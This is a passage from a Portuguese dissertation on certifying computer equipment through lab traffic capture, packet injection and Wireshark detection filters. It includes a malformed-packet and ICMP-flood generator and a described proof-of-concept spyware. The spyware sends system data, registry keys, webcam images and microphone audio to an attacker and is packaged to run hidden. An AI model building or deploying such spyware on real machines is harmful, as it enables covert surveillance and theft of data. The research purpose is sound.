A forma de capturar o tráfego de rede resume-se a uma linha de código, em que se armazena a informação recolhida, ou seja o número de pacotes especificado pela variável “n_pacotes” ou durante o tempo especificado pela variável “tempo_total”, através da função “sniff” do scapy, na variável “pacotes”:

pacotes=sniff(count=int(n_pacotes)) ou pacotes=sniff(timeout=tempo_total)

Após a captura, a informação é escrita em ficheiro do tipo *.pcap também de uma forma bastante simples:

wrpcap(ficheiro, pacotes)

A aplicação desenvolvida permite a captura de um ficheiro com “n” pacotes ou a captura de “m” ficheiros cada um deles durante um determinado intervalo de tempo, através de especificação desta informação num ficheiro de configurações “conf_captura.txt”. Para mais detalhes sobre o modo como foi desenvolvida e sobre o seu funcionamento, sugere-se a consulta do Anexo 2 – Aplicação “captura_pacotes.py”.

43 http://www.python.org/ 44 http://www.kali.org/ 45 http://www.secdev.org/projects/scapy/

.



172 .

8.5.2 Injeção de Tráfego de Rede recolhido

De forma a iludir o computador a analisar levando-o a comportar-se como se estivesse integrado numa rede local empresarial onde circula tráfego, no caso do exemplo proposto neste Capítulo da Resialentejo E.I.M., propõe-se que sejam injetados os pacotes de dados recolhidos.

Como já foi referido, o objetivo deste procedimento é efetuar uma análise comportamental ao computador analisado e detetar eventuais comportamentos considerados fora do normal, relacionados com as suas comunicações de rede, como o envio para outros equipamentos de pacotes de dados com campos adulterados, mal construídos, de dimensão duvidosa, com periodicidade fora do normal, de protocolos desconhecidos, entre outros comportamentos potencialmente maliciosos.

Existem diversas aplicações de injeção de pacotes, que variam na plataforma onde operam, nos protocolos permitidos, nas configurações disponíveis, na interface entre outras opções. Estas ferramentas tornam-se no entanto limitadas se se desejar manter um padrão específico de pacotes de dados com especificidades únicas que os tornem caraterísticos de um determinado ambiente de rede. Deste modo, foi desenvolvida uma ferramenta que permite injetar pacotes de dados, a partir de informação lida de ficheiros do tipo *.pcap, criados pela aplicação “captura_pacotes.py” descrita anteriormente, de forma a simular tráfego de rede na LAN.

A aplicação desenvolvida chama-se “injeta_pacotes.py” e foi implementada em moldes semelhantes à “captura_pacotes.py”.

De um modo geral o funcionamento básico da aplicação, e concretamente detalhando os procedimentos referentes às comunicações de rede, inicia-se com a importação das bibliotecas necessárias que permitem efetuar operações relacionadas com tráfego e interfaces de rede e operações relacionadas com o sistema operativo:

import sys import os from scapy.all import * from scapy.utils import rdpcap

A forma de injetar o tráfego de rede passa por ler para uma variável “pacotes” a informação contida no “nome_fich” através da função rdpcap:

pacotes=rdpcap(nome_fich)

.



173 .

Através da função sendp é depois efetuada a injeção de tráfego propriamente dita:

sendp(pacotes)

A aplicação desenvolvida permite a injeção de “n” pacotes, através da especificação de um ficheiro do tipo *.pcap que pode ser enviado “m” vezes, ou a injeção de “n” pacotes através de vários ficheiros de capturas do tipo *.pcap que podem ser enviados “m” vezes, através de um ficheiro de configurações “conf_injeta.txt”. Para mais detalhes sobre o modo como foi desenvolvida e o funcionamento da aplicação, sugere-se a consulta do Anexo 3 – Aplicação “injeta_pacotes.py”.

8.5.3 Informação sobre testes e avaliações fornecida pelo fabricante

O fabricante do computador não forneceu qualquer documentação ou informação sobre testes e avaliações a que o equipamento tenha sido sujeito durante e após o seu processo de fabrico.

8.5.4 Análises da Classe C – Comportamentos relacionados diretamente com comunicações

Nesta Secção descrevem-se as análises de comportamentos relacionados diretamente com comunicações, as quais serão efetuadas de acordo com a Subclasse em questão.

Subclasse C.1.1 – Análise das Comunicações de Rede com Fios

Para montar os Cenários propostos, criou-se uma LAN independente sem acesso ao exterior, em que se utilizou um router TP-LINK modelo TL-MR3420 (que já contém um switch integrado), o computador a analisar, o computador injetor de pacotes (packet injector) um ACER Aspire 5920 e o computador que escuta as comunicações (sniffer) um Toshiba Qosmio F60.

A Figura que se segue ilustra os equipamentos utilizados neste exemplo de implementação da Metodologia proposta.

.



174 .

Figura 49 - Equipamentos utilizados nos testes e avaliações

O router foi configurado com o endereço IP 192.168.1.1 e com a opção de servidor de DHCP ativada de modo a fornecer endereços IP dessa gama ao computador a analisar e ao computador que analisa as comunicações de rede.

As opções de segurança do router foram desativadas, de modo a permitir que o tráfego recolhido possa ser injetado sem qualquer limitação.

.



175 .

Cenário 1 - Análise do Computador em LAN fictícia, sem tráfego e sem ligação à Internet

O objetivo deste cenário é analisar o tráfego de rede que o computador analisado possa enviar pela sua placa de rede, sem que existam quaisquer pacotes de dados a circular na LAN que simulem qualquer ambiente. A Figura que se segue ilustra o cenário proposto.

Neste cenário pretende-se verificar a existência de pacotes de dados que o computador analisado possa enviar, sem que exista qualquer atividade na LAN criada. Para isso, no Wireshark, colocou-se o seu IP como filtro através da instrução:

ip.src == 192.168.1.100 Desta forma obtêm-se apenas os pacotes enviados pelo computador analisado, como se pode observar na Figura que segue.

Computador analisado Computador que analisa as

Comunicações (sniffer)

Router

Figura 50 - Cenário 1: Análise do Computador em LAN fictícia, sem tráfego e sem ligação à Internet

.



176 .

Figura 51 - Análise de Comunicações Cenário 1

A análise foi efetuada durante alguns períodos de tempo, com dimensões variáveis, e utilizando aleatoriamente algumas aplicações do Windows no computador analisado, de modo a simular a sua utilização.

Efetuou-se um ping a partir do computador que analisa as comunicações (192.168.1.103), como se pode observar na Figura anterior, verifica-se que o computador analisado (192.168.1.101) responde a esse pedido através do envio de 4 pacotes ICMP (Internet Control Message Protocol) com o seu type 0 que significa resposta (echo ping reply).

Foram detetados pacotes do tipo LLMNR (Link-Local Multicast Name Resolution) com o IP de destino 224.0.0.252 que é um endereço de multicast que identifica um grupo de hosts numa rede, neste caso local, com o objetivo de efetuar uma resolução de nomes, em cenários onde a usual resolução pelo Protocolo DNS (Domain Name System) não é possível, como é este caso [80].

Foi também detetado o envio de um pacote DHCP (Dynamic Host Configuration Protocol) para o endereço multicast 255.255.255.255, neste caso do tipo inform com o objetivo de requerer informações locais tais como máscara de rede utilizada, nome do domínio, endereço do router, entre outras [81].

Neste cenário, o tráfego de rede é mínimo, e efetuada esta análise, concluiu-se que não foram detetados pacotes de dados suspeitos enviados pela placa de rede do computador analisado.

.



177 .

Cenário 2 - Análise do Computador em Rede Local (LAN), com tráfego e sem ligação à Internet

O objetivo deste cenário é iludir o computador analisado de modo a que este se comporte como se estivesse ligado a uma LAN em que circula tráfego de rede de vários computadores, sem que exista acesso à Internet, e analisar o que ele envia pela sua placa de rede. A Figura que se segue ilustra o cenário proposto.

Neste Cenário pretende-se fazer uma captura do tráfego de rede na empresa onde o computador irá ser inserido, em diferentes períodos do dia, e sem que exista uma ligação à Internet.

Uma vez que não foi possível na Resialentejo E.I.M. desligar a Internet, estas ações realizaram-se no cenário que se segue, que é bastante semelhante a este.



Router

Computador que simula tráfego de rede (packet injector)

Figura 52 - Cenário 2: Análise do Computador em LAN fictícia, com tráfego e sem ligação à Internet

.



178 .

Cenário 3 - Análise do Computador em Rede Local (LAN), com tráfego e com ligação à Internet

O objetivo deste cenário é iludir o computador analisado de modo a que este se comporte como se estivesse ligado a uma LAN em que circula tráfego de rede de vários computadores, incluindo tráfego gerado por ligação à Internet, e analisar o que ele envia pela sua placa de rede. A Figura que se segue ilustra o cenário proposto.

Dos três, este é o cenário mais importante, uma vez que irá simular uma LAN com as caraterísticas mais usuais na maioria das empresas, ou seja, tráfego de rede incluindo o gerado por existir uma ligação à Internet. Assim, a validação comportamental do computador a analisar terá neste cenário especial importância uma vez que, como já foi referido, a eventualidade do envio de Informação para o exterior da LAN caso o computador esteja infetado, acontecerá perante um cenário deste tipo. Os cenários anteriores servem, entre outas coisas, para efetuar comparações ao comportamento do computador analisado em diferentes situações de tráfego de rede, mas também para detetar eventuais comportamentos suspeitos que possam ser despoletados com essas configurações.

Em primeiro lugar foi capturado tráfego de rede da empresa Resialentejo E.I.M., de modo a obter pacotes de dados relativos ao tráfego que circula na rede da

Figura 53 - Cenário 3: Análise do Computador em LAN fictícia, com tráfego e com ligação à Internet



Router

Computador que simula tráfego de rede (packet injector)

.



179 .

empresa, para posteriormente serem utilizados na LAN criada para este cenário, com o objetivo de iludir o computador analisado através da injeção em ambiente de Laboratório controlado desses pacotes de dados. Esta recolha foi efetuada pelo computador que analisa as comunicações, ligado normalmente à rede da empresa como se de um posto de trabalho se tratasse, e utilizou a aplicação desenvolvida “captura_pacotes.py” como ilustra a Figura que se segue.

Figura 54 - Captura de Tráfego de Rede

A captura efetuada gerou os ficheiros do tipo *.pcap correspondentes aos respetivos períodos apresentados:

o manha.pcap 09:00 12:30 o almoco.pcap 12:31 13:30 o tarde.pcap 13:31 17:30 o tarde1.pcap 17:31 20:00 o noite.pcap 20:01 00:00 o madrugada.pcap 00:01 08:59

.



180 .

Depois de gerados os diferentes ficheiros, procedeu-se à injeção dos mesmos na LAN criada para este cenário, utilizando o computador que simula o tráfego de rede e a aplicação desenvolvida “injeta_pacotes.py”, como ilustra a Figura que se segue.

Figura 55 - Injeção de Tráfego de Rede

Como se pode observar no exemplo apresentado, o ficheiro “manha.pcap” permitiu o envio de 63828 pacotes, simulando assim o tráfego de rede de um período de trabalho na Resialentejo E.I.M.

Para a análise do tráfego de rede utilizou-se o Kali Linux e o Wireshark, de modo a efetuar leituras de rede em tempo real na LAN criada para este cenário, e permitir assim verificar alguns comportamentos que possam ser considerados fora do normal, como por exemplo:

o Pacotes mal construídos; o Pacotes com campos reservados adulterados; o Pacotes de dimensão duvidosa; o Protocolos desconhecidos; o Padrões/periodicidade de pacotes de dados; o Pacotes suspeitos.

.



181 .

Para a deteção de comportamentos que possam ser considerados fora do normal, podem criar-se filtros, como por exemplo:

o Filtrar pacotes TCP com os campos reservados diferentes de zero: tcp.flags.res != 0.

o Filtrar pacotes ICMP com a informação Destination unreachable: icmp.type == 3

o Filtrar pacotes ICMP com a informação Protocol unreachable: icmp.code == 2

o Filtrar pacotes de retransmissão suspeitos: expert.message == "Retransmission (suspected)"

Como resumo das análises realizadas nos três cenários, e para uma melhor comparação entre elas, propõe-se a realização de uma Tabela com as principais ocorrências registadas, a qual se ilustra a seguir.

.

Cer

tific

ação

de

Idon

eida

de d

e Eq

uipa

men

to In

form

átic

o In

tegr

ado

em R

edes

de

Com

puta

dore

s

Cap

ítulo

8 –

Impl

emen

taçã

o da

Met

odol

ogia

de

Cer

tific

ação

de

Equi

pam

ento

Info

rmát

ico

182

.

Res

umo

das

Anál

ises

rea

lizad

as e

m c

ada

Cená

rio

In

jeçã

o de

Pac

otes

Te

stes

e A

valia

ções

Cená

rio

Nom

e do

Fic

heir

o

Nº d

e pa

cote

s in

jeta

dos n

a LA

N

Cam

pos

Rese

rvad

os

!= 0

Prot

ocol

os

Desc

onhe

cido

s Pa

cote

s mal

Co

nstr

uído

s

Padr

ões /

Pe

riod

icid

ade

de P

acot

es

Envi

o de

Fi

chei

ros d

e So

m

Envi

o de

Fi

chei

ros d

e Im

agem

Envi

o de

Fi

chei

ros d

e Ví

deo

Outr

as si

tuaç

ões

pote

nc. a

nóm

alas

Ob

s

1 N

ão a

plic

ável

0

Não

det

et.

Não

det

et.

Não

det

et.

Não

det

et.

Não

det

et.

Não

det

et.

Não

det

et.

Não

det

et.

-

2 N

ão a

plic

ável

-

- -

- -

- -

- -

-

3

man

ha.p

cap

09:0

0 12

:30

6382

8 N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. -

alm

oco.

pcap

12:

31 1

3:30

96

35

Não

det

et.

Não

det

et.

Não

det

et.

Não

det

et.

Não

det

et.

Não

det

et.

Não

det

et.

Não

det

et.

-

tard

e.pc

ap 1

3:31

17:

30

3115

9 N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. -

tard

e1.p

cap

17:3

1 20

:00

3721

N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. -

noite

.pca

p 20

:01

00:0

0 38

55

Não

det

et.

Não

det

et.

Não

det

et.

Não

det

et.

Não

det

et.

Não

det

et.

Não

det

et.

Não

det

et.

-

mad

ruga

da.p

cap

00:0

1 08

:59

8904

N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. N

ão d

etet

. -

Tabe

la 1

8 - R

esum

o da

s An

ális

es r

ealiz

adas

em

cad

a Ce

nári

o

.



183 .

Uma vez que não foi detetada nenhuma ocorrência neste exemplo de aplicação da Metodologia, e embora não faça parte integrante da Metodologia proposta, pretende-se nesta altura apresentar alguns exemplos de potenciais anomalias detetáveis nos cenários anteriores, os quais são descritos nos dois Pontos que se seguem.

Exemplo de Pacotes Inválidos

Pretende-se neste Ponto demonstrar a deteção de pacotes inválidos ou suspeitos, através da análise de tráfego no Wireshark.

Para esse efeito foi desenvolvida uma aplicação chamada “injeta_maus_pacotes.py” a qual permite enviar alguns pacotes de dados que seriam sinónimo de comportamentos suspeitos por parte do computador analisado e detetáveis pelo técnico analisador, a qual se ilustra na Figura que se segue.

Figura 56 - injeta_maus_pacotes.py: exemplo de utilização

Na opção 1, são enviados “n” pacotes de dados TCP com os 6 bits referentes aos campos reservados com o valor “1”.

Existem vários Protocolos que dispõem de campos reservados, os quais não são utilizados na comunicação, e que normalmente são referidos na bibliografia como sendo para utilização futura. Embora exista alguma dessa bibliografia que refere que

.



184 .

muitos equipamentos como routers ou aplicações como firewall ou antivírus descartam pacotes quando estes campos são diferentes de zero, não deve ser descartada a possibilidade dos mesmos serem utilizados por exemplo para o envio dissimulado de Informação ou para despoletar um malware já introduzido num computador.

Um Pacote do tipo TCP consiste num Cabeçalho (header) com uma dimensão entre 20 e 60 bytes (consoante tenha opções utilizadas ou não) seguido dos Dados (data) a enviar. Normalmente a este conjunto de Cabeçalho e Dados dá-se a designação de Segmento (segment). No header existe um campo de 6 bits reservado para utilização futura, e que é preenchido com o valor “zero” [82] [83]. A Figura que se segue ilustra um segmento TCP.

Figura 57 - Segmento TCP (Fonte [82])

Neste exemplo, e caso sejam enviados pacotes com estes campos diferentes de zero, estes podem detetar-se através da aplicação de um filtro no Wireshark.

Foi colocado o endereço IP do computador com o Kali Linux onde a aplicação “injeta_maus_pacotes.py” está a ser executada, conjuntamente com a opção para as flags reservadas do Protocolo TCP diferentes de zero.

ip.src == 192.168.1.74 && tcp.flags.res != 0

Depois de enviado um pacote com essas características, verifica-se depois que o mesmo foi detetado e observa-se que o campo Reserved está ativado (Set) com os valores 111.

A Figura que se segue ilustra estas ações.

.



185 .

Figura 58 – Deteção de Pacotes potencialmente maliciosos no Wireshark

Outro exemplo que pode ser dado como um pacote de dados potencialmente malicioso, é a deteção de um Protocolo desconhecido a circular na rede. Como se pode observar na Figura que se segue, depois de enviado um Pacote através da aplicação desenvolvida (opção 2 - Enviar pacotes de Protocolo Desconhecido), o mesmo foi detetado com a informação de Destination unreachable (Protocol unreachable)

Figura 59 - Deteção de Pacotes potencialmente maliciosos no Wireshark

.



186 .

Também o facto de existir um fluxo anormal de pacotes a circular na rede pode ser motivo de desconfiança por parte do Laboratório aquando dos testes e avaliações de comportamentos de rede. Através da aplicação desenvolvida (opção 3 - Enviar pacotes Inundação ICMP), podem enviar-se fluxos de pacotes, normalmente designado de inundação (flooding). Como se pode observar na Figura que se segue, existe um padrão de pacotes de dados que podem ser sinónimo de um ataque por inundação seja de ou para o computador analisado.

Figura 60 - Deteção de Pacotes potencialmente maliciosos no Wireshark

Para mais detalhes sobre o modo como foi desenvolvida e o funcionamento da aplicação utilizada para estes exemplos, sugere-se a consulta do Anexo 4 – Aplicação “injeta_maus_pacotes.py”.

Exemplo de Recolha e Envio Dissimulado de Informação

Pretende-se neste Ponto demonstrar uma possível forma de recolha e envio dissimulado de Informação a partir de um computador que esteja à partida infetado com um malware que facilite essas operações. Como já foi referido esta infeção pode ser introduzida num qualquer momento do ciclo de vida de um computador, seja no momento do fabrico de algum dos seus componentes, na assemblagem dos mesmos, durante a cadeia de distribuição ou outro. Este exemplo pretende apenas demonstrar que é possível recolher e enviar Informação de um computador que tenha um malware para esse efeito, de uma forma não visível ao comum dos utilizadores.

.



187 .

A maioria das aplicações de rede baseia-se numa arquitetura cliente/servidor, onde existirá uma aplicação a ser executada no cliente e outra no servidor, que comunicam através de uma interface de rede chamada socket. Para que possa existir um canal de comunicação e a consequente troca de Informação entre ambos, deve existir, de uma forma variável consoante o tipo de socket, uma ligação entre eles através desta interface. Existem diferentes tipos de sockets que permitem a comunicação em diversos domínios das redes de computadores, como por exemplo a Internet. Neste exemplo são utilizados os que têm por base o protocolo TCP de modo a efetuar uma ligação entre dois computadores que permita a troca de Informação entre o computador da vítima e o do atacante.

Assim, foram desenvolvidas duas aplicações em Python, uma que será executada no computador da vítima e outra que será executada no computador do atacante. De modo a tornar este exemplo o mais real possível, as aplicações foram implementadas para serem executadas sobre o Windows e funcionar em qualquer tipo de rede, incluindo a Internet.

A aplicação “cliente_malware.py” serve para infetar o computador da vítima, e enviar dissimuladamente Informação para o atacante. A Tabela que se segue ilustra o funcionamento desta aplicação.

Seq. Descrição 1º Criação do socket 2º Ligação ao socket através do IP do computador servidor e de um porto arbitrário não utilizado por

outras aplicações 3º Ouvir o socket de modo a obter a opção pretendida pelo atacante 4º Consoante a opção recebida, envia a Informação obtida ou termina a sua execução fechando o

socket

Tabela 19 - Funcionamento básico da aplicação cliente

A aplicação “servidor_malware.py” serve para receber Informação do computador da vítima. A Tabela que se segue ilustra o funcionamento desta aplicação.

Seq. Descrição 1º Criação do socket 2º Atribuição de um endereço local ao socket 3º Ouvir o socket de modo a poder aceitar ligações a ele dirigidas 4º Aceitar a ligação por parte do cliente 5º Depois de efetuada a ligação, o atacante pode introduzir a opção, a qual é enviada para o cliente 6º Consoante a opção enviada, o cliente envia a Informação obtida ou termina a sua execução

fechando o socket

Tabela 20 - Funcionamento básico da aplicação servidor

.



188 .

De modo a tornar as aplicações executáveis em qualquer computador sem que seja necessário a instalação do ambiente de desenvolvimento Python, utilizou-se uma ferramenta que transforma os ficheiros py em executáveis exe.

Para esse efeito utilizou-se o PyInstaller46, o qual permite transformar uma aplicação Python num único executável. A opção onefile permite embutir no executável todas as dependências como bibliotecas ou outros ficheiros exteriores à aplicação, e a opção noconsole permite que aquando da execução da aplicação no computador da vítima, a mesma seja executada em segundo plano (background), ou seja, sem abrir a janela da consola.

A Figura que se segue ilustra a utilização do PyInstaller com as opções referidas.

Figura 61 - Utilização do PyInstaller

A demonstração deste possível modo de infeção de um computador foi efetuada através da Internet (embora também possa ser efetuado numa rede local) através da utilização de um computador portátil com uma Placa de Banda Larga de modo a que esse computador ficasse identificado com um endereço IP público atribuído pelo operador (ISP), neste caso a TMN e pudesse assim fazer de servidor, ou seja, ser o computador do atacante. Desta forma, na aplicação cliente pode colocar-se diretamente o endereço IP atribuído pelo ISP TMN de forma a efetuar uma ligação entre as duas aplicações.

A Figura que se segue ilustra a ligação efetuada com o endereço IP público atribuído.

46 http://www.pyinstaller.org/

.



189 .

Figura 62 - Ligação Banda Larga e IP de Portátil

Foram efetuados vários testes com diferentes pessoas em Portugal e uma na Cidade do Cabo na África do Sul, sendo que se conseguiu sempre que a aplicação cliente estivesse a ser executada nesses computadores, aceder à Informação que a mesma consegue recolher. Essa Informação pode ser a ilustrada na Tabela que se segue.

Opção Obtém Informação sobre Resultado 0 terminar as aplicações termina as aplicações e fecha o socket, tanto no lado da vítima

como do lado do atacante 1 sistema atacado ficheiro com informação sobre nome, interfaces de rede, routing

table , entre outra 2 hardware do sistema atacado ficheiro com informação sobre o hardware, como o tipo da

plataforma, processador, sistema operativo, hardware, entre outra

3 registo do sistema atacado ficheiro com informação sobre as chaves e entradas de registo 4 fotografia do sistema atacado ficheiro de imagem obtida a partir da webcam 5 som do sistema atacado ficheiro de som com determinada duração obtido do microfone

Tabela 21 - Lista de opções possíveis de Informação que se pode obter da vítima

De modo a apresentar imagens e a Informação sobre a demonstração efetuada, a aplicação cliente não foi executada em segundo plano, podendo assim ter-se acesso aos ecrãs resultantes do ataque, os quais se apresentam a seguir.

.



190 .

Quando a aplicação servidor é executada, escuta o pedido de ligação por parte da aplicação cliente, como ilustra a Figura que se segue.

Figura 63 - servidor_malware.py: aguarda ligação por parte do Cliente

Quando a aplicação cliente é executada no computador da vítima, efetua uma ligação com a aplicação servidor, como ilustra a Figura que se segue.

Figura 64 - cliente_malware.py: aguarda ligação por parte do Servidor

Uma vez estabelecida a ligação, apresentam-se as opções possíveis no lado do servidor, ou seja, no computador do atacante, enquanto no lado do computador atacado a aplicação cliente fica a aguardar uma opção válida, como ilustra a Figura que se segue.

Figura 65 – servidor_malware.py: menu de opções de ataque

.



191 .

Quando o atacante envia uma opção, a aplicação cliente executa a ordem recebida e envia um ficheiro com a respetiva Informação recolhida do computador atacado. As Figuras que se seguem mostram a opção 1 – obter informação do sistema atacado.

Figura 66 - cliente_malware.py: ligação efetuada e envio de Informação

Figura 67 - servidor_malware.py: receção de ficheiro

Em relação às restantes opções, o processo é semelhante, ou seja, enquanto o atacante não enviar a opção 0 para terminar a ligação, a vítima ficará com a aplicação cliente a ser executada (neste caso visível, mas poderia ser em segundo plano), sem que assim se aperceba que está a ser alvo de um ataque, a qual pode enviará os ficheiros consoante a opção escolhida pelo atacante.

A única opção ligeiramente diferente será a de obtenção de som, que uma vez escolhida, a aplicação cliente responde a perguntar quantos segundos deseja gravar, e só depois da aplicação servidor enviar essa informação procede à gravação e posterior envio do respetivo ficheiro de áudio recolhido pelo microfone do computador.

De modo a preservar a identidade das pessoas que participaram neste exemplo, os exemplos de Informação obtida são do computador onde foram desenvolvidas as

.



192 .

aplicações, e não se apresentam fotografias ou recolha de som, embora todas as opções tenham sido executadas com sucesso.

No Anexo 5 – Aplicação “cliente_malware.py” pode ver-se o código referente à aplicação cliente.

No Anexo 6 – Aplicação “servidor_malware.py” pode ver-se o código referente à aplicação servidor.

No Anexo 7 – Exemplos de Informação Recolhida podem ver-se alguns exemplos de Informação recolhida.

Uma vez efetuadas as análises referentes à Subclasse “C.1.1 – Análise das Comunicações de Rede com Fios”, e apresentados os exemplos anteriores, prosseguem nos Pontos a seguir as restantes análises resultantes da aplicação da Metodologia de Certificação proposta, e que como já foi referido, terão um nível de detalhe mais conceptual e académico, do que deveriam ter caso fossem realizadas pelo Laboratório de uma forma aprofundada.

Subclasse C.1.2 – Análise das Comunicações de Rede sem Fios

Devem ser efetuados testes e análises a este tipo de comunicações análogos aos realizados na Subclasse anterior.

Devem também ser realizados outros testes e análises tais como aos Protocolos de segurança wireless como WEP, WPA, WPA2, entre outros, através da utilização de aplicações e equipamentos específicos.

Uma vez que este exemplo dá ênfase às comunicações de redes com fios, estas análises não foram efetuadas.

Subclasse C.2.1 – Análise das Comunicações USB

Devem ser efetuados testes e análises a este tipo de comunicações através da utilização de aplicações e equipamentos específicos a fim de verificar se algum tipo de malware é copiado para equipamentos ligados através deste tipo de interface quando se ligam ao computador.

.



193 .

Uma vez que este exemplo não foi realizado num Laboratório devidamente implementado e em pleno funcionamento, estas análises não foram efetuadas.

Subclasse C.2.2 – Análise das Comunicações HDMI

Caso o computador disponha deste tipo de interface, devem ser efetuados testes e análises a este tipo de comunicações através da utilização de aplicações e equipamentos específicos a fim de verificar se algum tipo de malware é copiado para equipamentos ligados através deste tipo de interface quando se ligam ao computador.


Subclasse C.2.3 – Análise das Comunicações COM



Subclasse C.2.4 – Análise das Comunicações LPT



.



194 .

Subclasse C.2.5 – Análise das Comunicações Bluetooth



Subclasse C.2.6 – Análise das Comunicações Firewire



Subclasse C.2.7 – Análise das Comunicações Infravermelhos



Subclasse C.2.8 – Análise de Comunicações através de Sensores

Caso o computador disponha de algum tipo de interface de utilização de Sensores, devem ser efetuados testes e análises a esse tipo de comunicações através da utilização de aplicações e equipamentos específicos.


.



195 .

Subclasse C.2.9 – Análise de Radiação Eletromagnética

Devem ser efetuados testes e análises da radiação eletromagnética emitida pelo computador, a fim de verificar eventuais comportamentos estranhos no espectro de ondas emitidas, através da utilização de aplicações e equipamentos específicos.


Subclasse C.2.10 – Análise de outro tipo de Comunicações

Caso o computador disponha de outro tipo de interface, devem ser efetuados testes e análises a esse tipo de comunicações através da utilização de aplicações e equipamentos específicos.

8.5.5 Análises da Classe D – Comportamentos não relacionados diretamente com comunicações

Nesta Secção descrevem-se as análises de comportamentos não relacionados diretamente com comunicações efetuadas consoante a Subclasse em questão. Como já foi referido, no caso desta Dissertação não serão tão detalhadas como seriam caso fossem realizadas pelo Laboratório de uma forma aprofundada.

Subclasse D.1.1 – Análise dos Serviços Ativos no Sistema

Foram analisados, através do gestor de tarefas do SO, os Serviços ativos no sistema para os três cenários, e deste modo ser possível efetuar uma comparação a fim de detetar serviços desconhecidos, como ilustra a imagem que se segue.

o Cenário 1 - Análise do Computador em Rede Local (LAN) sem tráfego e sem ligação à Internet

.



196 .

Figura 68 - Serviços Ativos no Sistema para o Cenário 1

Não foram detetados quaisquer Serviços suspeitos em execução ou parados.

o Cenário 2 - Análise do Computador em Rede Local (LAN) com tráfego e sem ligação à Internet

Não aplicável neste exemplo.

o Cenário 3 – Análise do Computador em Rede Local (LAN) com tráfego e com ligação à Internet

Não foi detetada qualquer diferença em relação ao cenário 1 e, como tal, não foram detetados quaisquer Serviços suspeitos em execução ou parados.

Subclasse D.1.2 – Análise dos Processos Ativos no Sistema

Foram analisados, através do gestor de tarefas do SO, os Processos ativos no sistema para os três cenários, e deste modo ser possível efetuar uma comparação a fim de detetar processos desconhecidos a serem executados, como ilustra a imagem que se segue.

o Cenário 1 - Análise do Computador em Rede Local (LAN) sem tráfego e sem ligação à Internet.

.



197 .

Figura 69 - Processos Ativos no Sistema para o Cenário 1

Não foram detetados quaisquer Processos suspeitos.




Não foi detetada qualquer diferença em relação ao cenário 1 e, como tal, não foram detetados quaisquer Processos suspeitos.

Subclasse D.1.3 – Análise das Aplicações Ativas no Sistema

Foram analisadas, através do gestor de tarefas do SO, as Aplicações ativas no sistema para os três cenários, e deste modo ser possível efetuar uma comparação a fim de detetar aplicações desconhecidas a serem executadas.

o Cenário 1 - Análise do Computador em Rede Local (LAN) sem tráfego e sem ligação à Internet. Não foram detetadas quaisquer Aplicações ativas.

.



198 .




Não foi detetada qualquer diferença em relação ao cenário 1 e, como tal, não foram detetadas quaisquer Aplicações suspeitos.

Subclasse D.2 – Análise da Memória RAM

Devem ser efetuados testes e análises a este tipo de componente através da utilização de aplicações e equipamentos específicos a fim de verificar se algum tipo de malware existe ou é colocado na memória volátil quando se liga o computador. Deve ser prevista a possibilidade de análise da RAM quer em funcionamento no computador, quer enquanto componente de hardware ligada a equipamentos de testes.

Uma vez que este exemplo não foi realizado num Laboratório devidamente implementado e em pleno funcionamento, as análises através da ligação a outros equipamentos não foram efetuadas.

Existem no entanto algumas aplicações que permitem efetuar análises da Memória RAM (memdump) como é o caso por exemplo da Volatility47 que faz parte da Secção de ferramentas forenses do Kali Linux, e que permite extrair e guardar o estado da RAM em qualquer sistema, e verificar eventuais processos escondidos que estejam a ser executados no momento da recolha.

Subclasse D.3 – Análise do Disco Rígido

Devem ser efetuados testes e análises a este tipo de componente através da utilização de aplicações e equipamentos específicos a fim de verificar se algum tipo de malware existe no disco rígido ou é copiado para o mesmo quando se liga o computador. Deve ser prevista a possibilidade de análise do disco rígido quer em funcionamento no computador, quer enquanto componente de hardware ligado a equipamentos de testes.

47 http://code.google.com/p/volatility/

.



199 .

Uma vez que este exemplo não foi realizado num Laboratório devidamente implementado e em pleno funcionamento, as análises através da ligação a outros equipamentos não foram efetuadas.

Existem no entanto algumas aplicações que permitem efetuar análises aos discos rígidos, e outros suportes de armazenamento como cartões de memória ou unidades flash USB, como é o caso por exemplo do FTK Imager uma aplicação de utilização forense desenvolvida pela empresa especializada nessa área AccessData48, que permite visualizar o conteúdo destas unidades em modo binário, e visualizar ficheiros que possam estar escondidos ou eventualmente que tenham sido apagados, e caso o dispositivo não tenha sido devidamente esterilizado, ainda serão visíveis e recuperáveis e, eventualmente, passíveis de serem utilizados maliciosamente.

O FTK Imager também permite fazer uma captura memdump e verificar aplicações, processos e serviços que estejam a utilizar a memória volátil num determinado momento.

Subclasse D.5.1 – Análise de Voltagem

Devem ser efetuados testes e análises à voltagem que circula no computador em diferentes pontos, a fim de verificar variações na mesma que tenham algum tipo de periodicidade que possa despoletar algum tipo de ação, ou outro fator que possa ser considerado suspeito.


Subclasse D.5.2 – Análise de Amperagem

Devem ser efetuados testes e análises à amperagem que circula no computador em diferentes pontos, a fim de verificar variações na mesma que tenham algum tipo de periodicidade que possa despoletar algum tipo de ação, ou outro fator que possa ser considerado suspeito.


48 http://www.accessdata.com/

.



200 .

Subclasse D.6 – Análise Eletrónica de Componentes

Devem ser efetuados testes e análises através de aplicações e equipamentos específicos tais como Placas Racks Eletrónicas e de Desenvolvimento, Placas Simuladoras de Circuitos Impressos e de Ensaio, entre outros, que permitam ligar os componentes eletrónicos tais como o processador, placas de expansão, os dimms de memória RAM ou outros, a fim de verificar a existência de backdoors (não documentadas) ou a existência de algum comportamento suspeito.

Esta Subclasse é particularmente importante na medida em que podem existir determinadas vulnerabilidades em microchips introduzidas no seu processo fabrico, como aliás já foi referido nesta Dissertação, e que só possam ser detetadas através de uma análise eletrónica aprofundada.

Esta análise deve ser efetuada tanto com recurso a hardware como software específicos e deve existir no Laboratório capacidade humana e técnica para a realizar.


8.5.6 Testes de Penetração

